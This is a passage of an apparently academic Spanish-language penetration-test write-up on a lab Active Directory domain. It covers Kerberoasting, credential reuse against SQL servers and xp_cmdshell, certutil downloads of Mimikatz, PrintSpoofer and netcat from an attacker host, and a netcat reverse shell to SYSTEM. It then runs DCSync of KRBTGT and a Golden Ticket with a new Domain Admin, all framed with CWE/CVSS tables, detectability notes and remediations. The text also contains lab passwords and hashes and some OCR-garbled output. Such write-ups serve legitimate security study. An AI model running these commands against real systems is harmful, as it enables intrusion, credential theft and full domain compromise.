C:\>mariadb -h SQLO1 -u svc-sql -pS3rvic3SQL_StrongPass --ssl=0 -e "USE appdb; SELECT * FROM app_logs;"

id event_time user_agent message

1 2025-11-16 07:02:29 Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0
0 Acceso desde IIS

C:\>mariadb -h SQLO1 -u svc-sql -pS3rvic3SQL_StrongPgss --ssl=0 -e "USE appdb; SELECT * FROM users;”
id username password_hash  fullname created_at

1 alice password123 Alice Ejemplo 2025-11-12 06:56:28

2 bob passbob Bob Ejemplo 2025-11-12 06:56:28

Illustracion 22. Exposicion de credenciales en texto plano dentro de la base de datos SQLO1

Esta imagen muestra la exposiciéon de informacidon sensible almacenada en las tablas de la
aplicacién web corporativa. Durante el andlisis de la tabla “users” se localizaron varias
credenciales de la aplicacién. Adicionalmente, se identificaron registros de actividad en la tabla
“app_logs” permitiendo observar informacién relacionada con el uso de la aplicaciony
actividad de los usuarios.



Evaluacion de la vulnerabilidad (Kerberoasting sobre svc-sql02)

CWE CWE-522 - Insufficiently Protected
Credentials

CVSS 3.1 7.5 (High)

Root Cause Uso de cifrado débil en tickets Kerberos

Impacto Compromiso de cuentas de servicio criticas

Remediacién Uso de cifrados fuertes y gestidn segura de
cuentas

Referencias MITRE ATT&CK - T1558.003 (Kerberoasting)

Tabla 17. Evaluacion de la vulnerabilidad asociada al abuso de Kerberos sobre cuentas de servicio criticas mediante

Kerberoasting

En la fase anterior obtuvimos los tickets Kerberos con el objetivo de obtener el TGS asociado a
cuentas de servicio con SPNs, en este caso usaremos el hash obtenido previamente de la
cuenta svc-sql02.

Esta técnica mantiene las mismas caracteristicas que el Kerberoasting de la fase previa, pero
con la diferencia de que el impacto es mayor ya que se compromete una cuenta de servicio
asociada a un servicio critico, como es la base de datos.

C-1p 192.168.109.10 -request
[proxycha
$.50.4

[proxychains] DLL ini
Impacket v0.13.0.devo -
ServicePrincipalhane e ¢ D PasswordLastSet Lastlogon Delegation

HTTP/webserver.lab.local svc-web 2025-11-27 19:16:51,456225 2025-11-28 13:26:30.1

d
HTTP/app.lab.local SVC-3pp CN=NoInteractivelogon, CN=Users DC=1ab,DC=local 2025-10-27 14:16:46.924512 <never>

2025-11-18 17:

2025-11-18 17:45:26.2

$krbStgs$23$+sve- -5 12 1a% 75930ffS1b3abde?36ccdisbectd
81416e0c540440 b b Jef 7 5¢ f ceesda9) 2(~fl~7h|(~0b”lbhfh90du!)
84 34 0df8015cak2532ec5fC784479006|
53e12725fe4bfbcfbes 3"3(7‘15Q0~ﬁ031d1ed f322feb042 rB)7b}SYbea&QffBJxC?ObJI(;deSlbf7‘(1L8~(Lhdibi%QledtuQr‘aﬁ‘Q
1)(2706ba~66~591 e7af224603aeae237d0b8e4 f68f3a0bcoebet20ceeedea’aadds269599a1a85551df7 4f9fdc96db20badebisied
5 5 0f6d2¢10a339d6badd7831597091ad8b8d79ddeef34da81979d5ack af73bb14312eb65436ebb8b
2207b19f483baae518a14f67f1a1705aabeBd92chefif9d2? 3 537a3ebdf087375c13eafed
11e3f51d374bc09a6fe76960c652¢ee 5 2 c0de7869cdc202bc879ad
633e5bbed9866a 7 4 9cS5F7548efB84ae3febb6d8701e030cd 1
0fbS5 dh(ﬁ)@(l bst dfcsdc ;SAi&G'OaU’fbd!‘b/Ulf(dS(vabLi c7 e 1del6ab79e21d1
2e3ae4dbe? (a26(613663~1a0)f‘d‘1b33& 1 2 Sed dacbcab31843650f 6
besdsb7d9f1048d7edbassfebc34atdfo3l ~Caﬁlﬁbeaﬂa’eee/B]bg‘f91187(JD7816Q0Lb‘d‘8(3050761'65’79&Lb'~el)bia'7ebf 426516732a6c06a4: 350&90°t5350001b
302ac39c0b7cab7129db4 fOb8b73c515c68d0e F975b42bdb329£81c959295554bc0f Fe3cas5206f7be1f68ccicf7cofded9afadeaaldb78339147b71679332eb7c2fakad7e2b93563bf08

Ilustracion 23. Obtencién y descifrado offline del ticket Kerberos asociado a la cuenta svc-sql02

En estaimagen se muestra la ejecucion del ataque Kerberoasting al igual que en la fase anterior
pero ahora centrandonos en la cuenta svc-sql02 que tiene un SPN asociado al servidor SQL.

Obtencion de credenciales de svc-sql02

Una vez obtenido el ticket Kerberos se procede al descifrado offline recuperando la contrasena
en texto plano de la cuenta svc-sql02.

Este proceso se realiza fuera del entorno monitorizado, lo que implica que:

o No se generan eventos adicionales en el dominio.
e No puede ser detectado directamente.

Desde el punto de vista de la detectabilidad como se vio en la fase previa:

e Lasolicitud del ticket puede ser observable.
e Elproceso de crackeo es completamente invisible.



Por esto, su detectabilidad global se mantiene en medio/bajo.

SeclLists/Passwords/xato-net-10-million-passwords.
home/kali/. john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 6 OpenMP threads
s ' Ctrl-C to abort, almost any other key for status
. u 5

(?)
1 DONE (2025-11-28 14:26) 0.9615g/s 3575Kp/s 3575Kc/s 3575KC/s MspTl0iudjolY ..Mora253
how" option to display all of the cracked passwords reliably
Session completed.

Ilustracion 24. Descifrado offline del ticket Kerberos asociado a la cuenta svc-sql02

Aqui se muestra como tras la obtencidén del ticket TGS se procede al descifrado offline del hash
obtenido usando herramientas de cracking como John the Ripper. Como resultado se obtiene la
contrasena en texto plano asociada a la cuenta svc-sql02.

Acceso al servidor SQL02

Con las credenciales obtenidas se establecié conexidn con el servidor SQL0O2 desde CLIENT1
usando una aplicacién cliente de base de datos que venia preinstalada en el sistema. Esta
autenticacion fue exitosa y permitio:

e Acceso al motor de base de datos.
e Visualizacion del contenido almacenado.
e Validacién de permisos asociados a la cuenta.

Desde el punto de vista analitico, este paso representa un patrén critico en ataques reales en el
que la reutilizaciéon de credenciales de servicio permite acceso a sistemas internos.

En términos de detectabilidad:

e Elacceso serealiza con credenciales validas.
e Norequiere explotacién de vulnerabilidades.
e Puede confundirse con actividad legitima

Por ello su detectabilidad es baja. Desde el marco MITRE ATT&CK:

e T1078.002 - Domain Accounts



Object Explorer
Connect ~ § ¥ ® Y C - [A]

Connection Properties  Cannection String
—

ServerName  SQLO2\SQLO2 |

Authentication | SQL Server Authentication -

UserName  sve-sgl02 |

Password sevesserrenne |
Remember Password

Database Name | <default> -

Encrypt Mandatory -

Trust Server Certificate

Custom Properties

Name [ |

Color: ‘ <default>

Object Explorer
Connect v~ ¥ " = 7 C 4k

= i@ SQLO2\SALO2 (SOL Server 16.0.1000 - sve-5q102)
11 Databases

1 Security

I Server Objects

I Replication

1 Management

] XEvent Profiler

2

Object Explorer
Comnect ~ ¥ § = T G o+

1] Management
[Z] XEvent Profiler

SQLQueryls..sql02 (54" % X
1 || SELECT name, create_date FROM sys.databases;|

Ln:1,Ch:45 TABS CRLF Windows 1252

master | 2003-04-08 09:13:36.390
tempdb  2025-11-28 05:36:10.773
2003-04-08 09:13:36.390
msdb  2022-10-08 06:31:57.550
LsbDB | 2025-11-18 09:02:49.157

50LQuerylsq..csqlb2 (4] £ X
1 H USE LabDB;

u]

2 GO

W00%  ~

Commands completed successfully.

@ No issues found Ln:2, Ch:3 TABS CRLF Windows 1252

Completion time: 2025-11-28T15:17:52.0737105+01:00

llustracion 25. Acceso y validacidon de permisos sobre el servidor SQL02 mediante credenciales comprometidas



Esta imagen muestra el acceso al servidor SQL02 usando las credenciales comprometidas de la
cuenta svc-sql02, asi como la validacién de los permisos disponibles sobre el sistema de la
base de datos.

Una vez establecida conexién mediante autenticacion SQL Server se procedié a enumerar
bases de datos disponibles y verificar el nivel de acceso asociado a la cuenta comprometida.
Como resultado se confirmé la capacidad de interaccion con la base de datos “LabDB”
validando el compromiso efectivo del servicio SQL.

Exposicion de credenciales en la base de datos SQL02

Durante la exploracion del contenido de la base de datos, se identificaron nuevas credenciales
que pueden ser usadas en fases posteriores. Este comportamiento refleja una debilidad
habitual en entornos corporativos donde:

e Las aplicaciones almacenan credenciales en bases de datos.
e No existen mecanismos de proteccién adecuados.
e Sereutilizan contrasefias entre servicios.

CWE CWE-522 - Insufficiently Protected
Credentials

CVSS 3.1 7.5 (High)

Root Cause Almacenamiento inseguro de credenciales

Impacto Compromiso adicional de cuentas

Remediacion Uso de cifrados fuertes y gestion segura de
cuentas

Referencias MITRE ATT&CK - T1552 (Unsecured
Credentials)

Tabla 18. Evaluacion de la vulnerabilidad asociada al almacenamiento inseguro de credenciales en sistemas y
servicios corporativos

Desde el punto de vista de detectabilidad:

e Elacceso alabase de datos ha sido legitimo.
e Lalectura de datos no genera eventos sospechosos.
e No existe diferenciacion entre acceso normaly malicioso.

Por esto su detectabilidad es baja.
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Ilustracion 26. Enumeracion de tablas y obtencién de credenciales almacenadas en la base de datos LabDB

Esta imagen muestra la exploracion de la base de datos “LabDB” tras el acceso exitoso al
servidor SQL02 mediante la cuenta comprometida svc-sql02.

Primero se realiza una enumeracién de tablas disponibles dentro de la base de datos

identificando la tabla “UsersCredentials”, la cual contiene informacion sensible relacionada
con usuarios del sistema.

Tras esto se ejecuta una consulta en la tabla obteniendo credenciales almacenadas en texto

plano. Este tipo de informacién me permite ampliar el alcance del compromiso reutilizando
nuevas credenciales en fases posteriores.



Ejecucion remota de comandos en SQL02 (xp_cmdshell)

CWE CWE-288 - Improper access control

CVSS 3.1 8.8 (High)

Root Cause Habilitacién de funcionalidades peligrosas
en SQL Server

Impacto Ejecucion remota de comandos en el sistema

Remediacién Deshabilitar xp_cmdshelly restringir
privilegios

Referencias MITRE ATT&CK -T1059 (Command and
Scripting Interpreter), T1505.001 (SQL Stored
Procedures)

Tabla 19. Evaluacion de la vulnerabilidad asociada a la ejecucion remota de comandos mediante xp_cmdshell en

SQL Server

Una vez obtenido el acceso al servidor SQL02, se habilitd la funcionalidad xp_cmdshell

permitiéndome la ejecucién de comandos en el sistema operativo desde el motor de base de
datos.

Desde un punto de vista analitico, este paso representa una transicién critica de acceso a datos
hacia control del sistema.

Esto implica lo siguiente:

e Ejecuciénremota de comandos.
e Posibilidad de movimiento lateral.
e Persistencia en el sistema.

En términos de detectabilidad:

e Puede generar eventos si esta monitorizado pero el uso puede confundirse con tareas
administrativas.

Por esto, su detectabilidad puede considerarse media en ausencia de reglas especificas.
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Illustracién 27. Habilitacion y ejecucion remota de comandos mediante xp_cmdshell en SQL02

Se muestra la habilitacién de la funcionalidad xp_cmdshell en el servidor SQL02, asi como la
ejecucion de comandos del sistema operativo directamente desde el motor de base de datos.

Una vez activada esta funcionalidad, se ejecutan comandos como whoami o ipconfig
confirmando la capacidad de interaccidon con el sistema operativo y validando la ejecucioén
remota de comandos sobre el servidor.

Conclusion de la fase

La fase de explotacidn de servicios de base de datos pone de manifiesto que las bases de datos

corporativas y las cuentas de servicio asociadas constituyen uno de los vectores mas criticos
dentro de entornos AD.

A través de la combinacion de Kerberoasting, reutilizacién de credenciales, acceso a bases de
datos, exposicion de credenciales almacenadas y ejecucién remota de comandos pude ampliar
progresivamente el nivel de acceso y obtener control sobre sistemas criticos en el entorno.

Durante esta fase se observa una transicion clara desde el compromiso de mecanismos de
autenticacion hacia el acceso directo a informacion sensible de aplicacién y ejecucion sobre
sistemas interno. El acceso a SQLO1 permitié identificar credenciales almacenadas de forma



insegura dentro de la base de datos “appdb”, mientras que el compromiso de SQL02 habilité la
capacidad de ejecucion remota mediante funcionalidades propias del motor SQL.

Desde el punto de vista analitico esta fase evidencia que el uso de credenciales validas y

funcionalidades legitimas reduce significativamente la visibilidad del ataque ya que muchas de
las acciones realizadas son compatibles con el comportamiento esperado de administradores,
aplicaciones o cuentas de servicio.

Desde el punto de vista de la deteccidn, se observa lo siguiente:

e Muchas acciones se realizan mediante autenticaciones legitimas.

e Parte del ataque ocurre fuera del entorno monitorizado.

e Lasconsultas SQLy accesos a bases de datos pueden confundirse con actividad

normal.

e Ladeteccidon depende principalmente de correlacidn, contexto y analisis de

comportamiento.

Adicionalmente, se observa que las fases relacionadas con acceso a datos presentan una
detectabilidad especialmente baja debido a que la lectura de informacion sensible no genera
indicadores claramente maliciosos cuando se realiza mediante credenciales validas.

Esto evidencia que las técnicas mas criticas no siempre implican explotacién avanzada sino el
abuso de configuraciones inseguras y credenciales reutilizadas para operar de forma legitima
dentro del entorno comprometido.

Evaluacion de detectabilidad de la fase

comandos

Kerberoasting svc- Solicitudes kerberos | Media/Baja Crackeo offline no
sql02 detectable

Acceso a SQLO1 Autenticacion Baja Uso de credenciales
mediante user2 MariaDB validas

Exposicion de Consultas Baja Actividad
credenciales en SQL/lectura de datos indistinguible de
appdb acceso legitimo

Uso de credenciales | Autenticacion SQL Baja Reutilizacién de
svc-sql02 credenciales validas
Acceso de base de Consultas SQL Baja Actividad compatible
datos SQL02 con administracion
xp_cmdshell Ejecucidon de Media Puede generar

eventos si esta
monitorizado

Tabla 20. Evaluacion de detectabilidad de técnicas de abuso de cuentas de servicio y explotacion de servicios SQL

Esta evaluacion refleja que la detectabilidad en esta fase se ve reducida principalmente por el
uso de credenciales validas y funcionalidades legitimas de los sistemas de base de datos.

Se observa que las actividades relacionadas con acceso y lectura de informacién presentan
una visibilidad especialmente limitada ya que las consultas SQL y autenticaciones pueden
confundirse facilmente con operaciones administrativas o comportamientos normales de la

aplicacion.

Asimismo, las técnicas que implican ejecucién directa sobre el sistema como xp_cmdshell
incrementan parcialmente la visibilidad aunque contintan dependiendo de reglas especificas
de monitorizacion y correlacion avanzada para ser identificadas correctamente.



De forma general, ninguna de las técnicas analizadas presenta una detectabilidad alta de forma
aislada reforzando la necesidad de modelos basados en comportamiento, correlacion temporal
y analisis contextual de eventos.

Fase 5 - Escalada de privilegios, persistenciay compromiso del dominio

Contexto del ataque

Tras comprometer el servidor SQL02 y obtener acceso mediante credenciales validas, nos
encontramos en una posicion privilegiada dentro del entorno. En esta fase el objetivo principal
es escalar privilegios hasta alcanzar control total del sistema y del dominio, asi como
establecer mecanismos de persistencia.

A diferencia de fases anteriores en las que hemos dependido de configuraciones inseguras o
credenciales expuestas, ahora ya disponemos de acceso directo a sistemas criticos. Esto me
permite el uso de técnicas avanzadas orientadas a:

e Escaladade privilegios locales.

e Ejecuciéon remota de comandos.

e Extraccion de credenciales del dominio.
e Persistencia a largo plazo.

Esta fase representa el punto culminante del ataque donde se materializa todo el impacto total
sobre la infraestructura completa.

Clasificacion de la técnica

Tactica Privilege Escalation/Credential
Access/Persistence

Tipo de técnica Escalada de privilegios y abuso de Kerberos

Superficie afectada Servidor SQL02 y AD

Naturaleza Uso de herramientas legitimas y abuso de
privilegios

Riesgo asociado Compromiso total del sistema del dominio

Tabla 21. Clasificacidon de la técnica de escalada de privilegios y abuso avanzado de Kerberos en Active Directory

Evaluacion de la vulnerabilidad (Ejecucion remota y LOLBins)

CWE CWE-284 — Improper Access Control

CVSS 3.1 8.5 (High)

Root Cause Uso de herramientas del sistema sin
restricciones

Impacto Ejecucion remota de codigo en el sistema

Remediacién Restriccidn de binarios y control de ejecucion

Referencias MITRE ATT&CK -T1218 (Signed Binary Proxy
Execution), T1105 (Ingress Tool Transfer)

Tabla 22. Evaluacion de la vulnerabilidad asociada al abuso de herramientas legitimas y ejecucion remota de codigo



En esta fase se usan herramientas como “Certutil” para transferir binarios al sistema
comprometido. Este tipo de técnicas es conocido como LOLBins o Living Of The Land Binaries,
los cuales permiten ejecutar acciones maliciosas sin necesidad de introducir software externo
detectable.

Desde un punto de vista analitico, este enfoque reduce significativamente la superficie de
deteccion ya que se usan herramientas legitimas del sistema operativo.

Transferencia de herramientas y ejecucion remota

Para continuar con la explotacion se transfirié herramientas como Mimikatz, PrintSpoofery
Netcat al servidor SQL02 mediante un servidor HTTP controlado por nosotros como atacantes.

Estas herramientas me permiten:

e Extraer credenciales (Mimikatz).
e Escalada de privilegios (PrintSpoofer).
e Establecer shells remotas (Netcat).

Desde el punto de vista de la detectabilidad:

e Eluso de Certutil puede generar eventos pero es una herramienta legitima.
e Puede confundirse con actividad administrativa.

Por esto la detectabilidad es media en ausencia de reglas especificas.

) 3 -m http.server 80

Serving HTTP on ©.0.0.0 port 80 (http://0.0.0.0:808/) ...

192.168.109.17 - - [29/Nov/2025 11:31:28] "GET /mimikatz.exe HTTP/1.1" 200 -
192.168.109.17 - - [29/Nov/2025 11:31:28] "GET /mimikatz.exe HTTP/1.1" 200 -

SQL (svc-5ql02 dbo@master)> xp_cmdshell “certutil -urlcache -split -f http://192.168.109.18/mimikatz.exe C:\ProgranData\mimikatz.exe"
output

sase Online swews
002000
131308
CertuUtil: -URLCache command completed successfully.
NULL
SQL (svc-sqlo2 dbogmaster)> xp_cmdshell “certutil -urlcache -split -f http://192.168.109.18/PrintSpoofer64.exe C:\ProgramData\PrintSpoofer.exe®
output

warx Online #aes

o000

6200
CertUtil: -URLCache command completed successfully.
NULL

SQL (svc-sqle2 dbogmaster)> xp_cmdshell “"certutil -urlcache -split -f http://192.168.109.18/nc.exe C:\ProgramData\nc.exe"
output

shtk Online sxss

0000

96d8
CertUtil: -URLCache command completed successfully.
NULL

SQL (svc-sqle2 dbogmaster)> xp_cmdshell “dir C:\ProgramData®
output

Volume in drive C has no label.
Volume Serial Number is A@D3-8458
NULL
Directory of C:\ProgramData
NULL
11/29/2025 02:56 AM dump .mim
11/29/2025 152 AM dump . txt
11/18/2025 04:39 AM <DIR> Microsoft DevDiv
11/29/2025 134 AM 1,250,056 mimikatz.exe
11/29/2025 107 AM 38,616 nc.exe
11/18/2025 142 AM <DIR> Package Cache
11/18/2025 126 AM <DIR> Packages
11/29/2025 142 AM 27,136 PrintSpoofer.exe
11/28/2025 126 PM <DIR> regid.1991-06.com.microsoft
11/29/2025 152 AM 94 runme.bat
11/29/2025 155 AM 119 runme.cmd
05/08/2021 120 AM <DIR> SoftwareDistribution
05/08/2021 135 AM <DIR> ssh
11/18/2025 116 AM <DIR> USOPrivate
05/08/2021 120 AM <DIR> USoShared
11/18/2025 3:11 AM <DIR> VMware
11/18/2025 158 PM <DIR> winlogbeat

7 File(s) 1,316,096 bytes

10 Dir(s) 29,765,410,816 bytes free

NULL

Illustracién 28. Transferencia de herramientas al servidor SQL02 mediante HTTP y certutil



La imagen muestra la transferencia de herramientas desde la maquina atacante hacia el
servidor SQL02 usando un servidor temporal HTTP montado en Python y usando Certutil para
descargar estos archivos desde la terminal de xp_cmdshell antes conseguida.

Con esto conseguimos descargar los diferentes binarios en el sistema las cuales estan
orientadas a la postexplotacién y elevacion de privilegios como es Mimikatz y PrintSpoofer.

Escalada de privilegios locales (PrintSpoofer)

CWE CWE-269 — Improper Privilege Management

CVSS 3.1 8.8 (High)

Root Cause Configuracioén insegura de servicios
privilegiados

Impacto Obtencion de privilegios SYSTEM

Remediacion Restriccion de privilegios y actualizacion de
parches

Referencias MITRE ATT&CK - T1068 (Explotation for
Privilege Escalation)

Tabla 23. Evaluacién de la vulnerabilidad asociada a la escalada de privilegios mediante abuso de servicios
privilegiados

Mediante el uso de PrintSpoofer se logra escalar privilegios hasta obtener ejecucion como NT
AUTHORITY\SYSTEM en el servidor SQLO2. Esto lo conseguimos creando un archivo .bat, el cual
lanza un cmd hacia nuestro listener usando netcat, que se ejecutara mediante PrintSpoofer.
Esta herramienta nos permite abusar de privilegios de servicios para obtener la ejecucidn con
privilegios.

Este paso representa un punto muy critico por las siguientes razones:

e Se obtiene control total del sistema.
e Se habilita el acceso a credenciales almacenadas.
e Se permite la ejecucion de cualquier accién.

En términos de detectabilidad:
e Puede generar eventos en el sistema pero depende de monitorizacidn especifica.

Por esto su detectabilidad es media.



SQL (svc-sqlo2 dbogmaster)> xp_cmdshell “net localgroup administrators®
output

Alias name administrators
Administrators have complete and unrestricted access to the computer/domain

Administrator

LAB\Domain Admins

The command completed successfully.

NULL

NULL

SQL (svc-sqle2 dbogmaster)> xp_cmdshell "net localgroup Administrators lab\svc-sqle2 /add"
output

System error 5 has occurred.
NULL

Access is denied.

NULL

NULL

SQL (svc-sqle2 dbogmaster)> xp_cmdshell "echo C:\ProgramData\nc.exe 192.168.109.18 4444 -e cmd.exe > C:\ProgramData\run.bat"
output

NULL
SQL (svc-sqle2 dbogmaster)> xp_cmdshell "type C:\ProgramData\run.bat"
output

C:\ProgramData\nc.exe 192.168.109.18 4444 -e cmd.exe
NULL

SQL (svc-sqle2 dbogmaster)> xp_cmdshell "C:\ProgramData\PrintSpoofer.exe -i -c C:\ProgramData\run.bat"
|

-lvnp 44b4
listening on [any] 4444 ...
connect to [192.168.109.18] from (UNKNOWN) [192.168.109.17] 50023
Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

Ilustracion 29. Escalada de privilegios locales mediante abuso de PrintSpoofer

Esta imagen muestra la explotacién de la herramienta PrintSpoofer para realizar una escalada
de privilegios local en el servidor SQL02 obteniendo la ejecucion de comandos con privilegios
NT AUTHORITY\SYSTEM.

Primero verifiqué que la cuenta comprometida no disponia de privilegios administrativos
suficientes para modificar grupos locales en el sistema, y posteriormente se preparé una
reverse Shell usando Netcat que se ejecutd con PrintSpoofer mediante xp_cmdshell
permitiendo elevar privilegios y obtener una sesion remota con control total sobre el servidor.

Ataque DCSync
[Campo  Jvale ]
CWE CWE-269 - Improper Privilege Management
CVSS 3.1 9.1 (High)
Root Cause Permisos excesivos de replicacidon en AD
Impacto Extraccién de credenciales criticas del
dominio
Remediacion Restricciéon de permisos de replicaciony
monitorizacion de privilegios
Referencias MITRE ATT&CK -T1003.006 (DCSync)
Tabla 24. Evaluacién de la vulnerabilidad asociada al abuso de permisos de replicacion en Active Directory mediante
DCSync

Tras obtener privilegios elevados dentro del dominio se ejecuté un ataque DCSync usando
Mimikatz con el objetivo de simular el comportamiento de un controlador de dominio y solicitar
informacién de replicacidn directamente desde AD.

A través de esta técnica pude extraer los hashesy credenciales asociadas a cuentas criticas del
dominio, incluyendo KRBTGT, usada por Kerberos para la generacién y validacion de tickets de
autenticacion.

Desde el punto de vista técnico, el ataque DCSync no requiere de acceso fisico al controlador
de dominio ni extraccién directa de la base de datos NTDS.dit, sino que abusa del mecanismo
legitimo de replicacion de AD permitiendo obtener informacidén sensible mediante peticiones
validas dentro del protocolo.



Desde un punto de vista mds analitico esta técnica representa uno de los escenarios mas
criticos dentro de un entorno AD debido a:

e Permite comprometer completamente el sistema de autenticacion Kerberos.
e Facilita ataques posteriores como Golden Ticket.

e Usa funcionalidades legitimas del dominio.

e Reduce significativamente los indicadores clasicos de compromiso.

Desde el marco MITRE ATT&CK esta actividad se relaciona con:
e T1003.006 - DCSync
En términos de detectabilidad:

e Las solicitudes de replicacion pueden generar eventos especificos, pero estas forman
parte del funcionamiento normal del dominio.

e Laactividad puede confundirse con replicaciones legitimas entre controladores de
dominio.

Por esto su detectabilidad puede considerarse media especialmente en entornos sin
monitorizacién especifica de privilegios de replicacion.



C:\ProgramData>mimikatz.exe “lsadump::dcsync /domain:lab.local /user:krbtgt*®
mimikatz.exe “lsadump::dcsync /domain:lab.local /user:krbtgt®

mimikatz 2.2.0 (x64) #18362 Fedb 29 2020 11:13:36

"A La vie, A L'Amour" - (oe.e0)

/**+ Benjamin DELPY “gentilkiwi™ ( benjaminggentilkiwi.com )
> http://blog.gentilkiwi.com/mimikatz
vincent LE TOUX ( vincent.letouxggmail.com )
> http://pingcastle.com / http://mysmartlogon.com  **%/

mimikatz(commandline) # lsadump::dcsync /domain:lab.local /user:krbtgt
[pC] 'lab.local’' will be the domain

[DC] 'DCO1.1ab.local’ will be the DC server

{DC] 'krbtgt' will be the user account

Object RON : krbtgt
o SAM ACCOUNT w»

SAM Username : krbtgt

Account Type : 30000000 ( USER_OBJECT )

User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration

Password last change : 10/27/2025 3:04:54 AM

Object Security ID : S-1-5-21-2625116736-1513678085-1295315389-502
Object Relative ID : 502

Credentials:
Hash NTLM: f2a5281cb8fc93febBf1d3fe9codsdsl
ntim- 0: f2a5281cb8fc93feb8fid3fe9cedsdsl
Im -« 0: 0677e8¢24150f462305d6a@ccbaebl11f

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF »
Random Value : baS3afa0518607f4b323b52be8ec9809

Primary:Kerberos-Newer-Keys »
Default Salt : LAB.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : c604c282balaalc7esb034ba266a454983b77944C78e3068e6388deafdab312f
aes128_hmac (4096) : Oc3edle292146e1c29c7aeb27c298eab
des_cbc_mdS (4096) : bf29bfcd9diesfie

Primary:Kerberos #
Default Salt : LAB.LOCALkrbtgt
Credentials
des_cbc_mdS : bf29bfcd9d108f16

Packages *
NTLM-Strong-NTOWF

Primary:WDigest +*
81de827faccccb2a46c5307ddb4eb718
541f8e6d53f104f1b74b83ed78be6ff3
b4e3dc58d3a48d6778ccd695¢cff47036
81de827facccch2a46¢5307ddbseb718
541f8e6d53f104f1b74b83ed78be6ff3
9144930993b17f94cc722256b70fbese
81de827faccccb2a46c5307ddb4eb718
8ead96d9ce376ae6035600ba7abf7e7a
8ead96d9ce376ae6035600ba7abf7e7a
741dae29bc08531fc56fcfd915261df9
38e9abbf27160a8e9ec6a9b9fof246de
8ead96d9ce376ae6035600ba7abf7e7a
fc748260c4120f9c97851ba2c78359f3
38e9abbf27160a8e9ec6a9bofof246de
fbe94d0fcOcasa73993a504aebfoedss
fbe94d0fc9casa73993a504aebf0edss
f4b2e599829a3¢cf92fca8702¢c784a0¢9
4£12a10a239054c763790f82f1eb437bf
498ac5f1f8fc46213177e0281d1c4daa
c7b74687d427dcdb681fb9eb8980F292
c1b60939b16cada24acaSc70d33a01bc
c1b60939b16cada24acasSc70d33a01bc

Ilustracion 30. Ejecucion de ataque DCSync y extraccion de credenciales del controlador de dominio

Esta imagen muestra la ejecucion del ataque DCSync mediante la herramienta Mimikatz que
permite solicitar al controlador de dominio informacidén de replicacién asociada a la cuenta
KRBTGT del dominio. Con esta técnica simulamos el comportamiento de un controlador de
dominio legitimo obteniendo hashes y credenciales almacenadas en AD sin necesidad de
acceder fisicamente al DC ni interactuar con el proceso LSASS.

Como resultado obtenemos credenciales criticas asociadas a la cuenta que es usada por
Kerberos para la firmay generacion de tickets dentro del dominio.



Generacion de Golden Ticket

CWE CWE-287 - Improper Authentication

CVSS 3.1 9.5 (High)

Root Cause Compromiso de la cuenta KRBTGT

Impacto Control persistente y total del dominio

Remediacién Rotacién de KRBTGT y control estricto de
privilegios

Referencias MITRE ATT&CK - T1558.001 (Golden Ticket)

Tabla 25. Evaluacion de la vulnerabilidad asociada al abuso de autenticacion Kerberos mediante Golden Ticket

Una vez obtenido el hash de la cuenta KRBTGT mediante el ataque DCSync, procedi a la
generacion de un Golden Ticket usando Mimikatz. Para esto primero se tuvo que identificar el
SID asociado al dominio y al usuario administrativo usado durante el ataque.

El ticket generado permitio crear autenticaciones Kerberos validas sin necesidad de interactuar
continuamente con el controlador de dominio proporcionando persistenciay privilegios
elevados dentro del entorno comprometido.

Posteriormente, ser verifico la correcta carga del ticket comprobando su presencia en la cache
Kerberos del sistema y validando el acceso privilegiado sobre recursos del dominio.
Adicionalmente, se cre6 un nuevo usuario con privilegios administrativos demostrando la
capacidad de mantener persistencia incluso tras cambios parciales en las credenciales
comprometidas.

Desde el punto de vista analitico, esta técnica representa uno de los ataques mas criticos
dentro de AD debido a que compromete directamente el mecanismo central de autenticacién
Kerberos. Esto implica lo siguiente:

e Persistencia indefinida dentro del dominio.

e Suplantacién de identidades privilegiadas.

e Capacidad de autenticacion sin credenciales legitimas.

e Recuperacion de acceso incluso tras mitigaciones parciales.

Desde el marco MITRE ATT&CK:
e T1558.001 - Golden Ticket
En términos de detectabilidad:

e Parte del proceso ocurre offline.

o Elticket generado es valido desde la perspectiva del dominio.

e No requiere autenticacion constante contra el controlador de dominio.
e La actividad puede confundirse con autenticacion Kerberos legitima.

Por esto, su detectabilidad puede considerarse baja en ausencia de monitorizacién avanzada
de tickets Kerberos y correlacion temporal de eventos.



C:\Windows\system32>wmic useraccount where name="lab_admin®" get sid
wmic useraccount where name="lab_admin" get sid

SID

5-1-5-21-2625116736-1513678085-1295315389-1109

User
Domain
SID
User Id
G

#* EncTicketPart generated
* EncTicketPart encrypted
Golden ticket for ‘lab_admin @ lab.local' successfully submitted for current session

mimikatz # exit
Bye!

\ProgramDatasklist

k

Current Logenld is @:0=3e7

Cached Tickets: (1)

LU ES Client: lab_admin @ lab.local
y.local § lab.local

n Type: RSADSI RCé )
ble initial pre_authent

| fadd /domain
d at a domain controller for domain lab.local

The command completed successfully
C:\ProgramData=net group "Domain Admins® goldenadmin fadd /domain
1 Admins® goldenadmin fadd /domain

The request will be processed at a domain controller for domain 1lab.local.

The command completed successfully

Ilustracion 31. Generacién de Golden Ticket y establecimiento de persistencia en Active Directory

Esta imagen muestra la generacidon de un Golden Ticket mediante la herramienta Mimikatz
usando el hash de la cuenta KRBTGT obtenido previamente a través de DCSync. Para esto se
necesita el SID del dominio y se generd un ticket Kerberos falsificado asociado a la cuenta
“lab_admin”.

Posteriormente, el ticket fue inyectado en la sesidn activa permitiendo la autenticacion
persistente frente a los servicios de AD. Como resultado logré crear una nueva cuenta
privilegiada llamada “goldenadmin” y afiadirla al grupo de “Domain Admins” consolidando el
control total sobre el dominio.

Generacion y uso de Silver Ticket

CWE CWE-287 - Improper Authentication

CVSS 3.1 8.8 (High)

Root Cause Compromiso de hashes NTLM asociados a
servicios

Impacto Acceso ho autorizado a servicios concretos

Remediacion Proteccion de cuentas de servicio y rotacion
de credenciales

Referencias MITRE ATT&CK - T1558.002 (Silver Ticket)

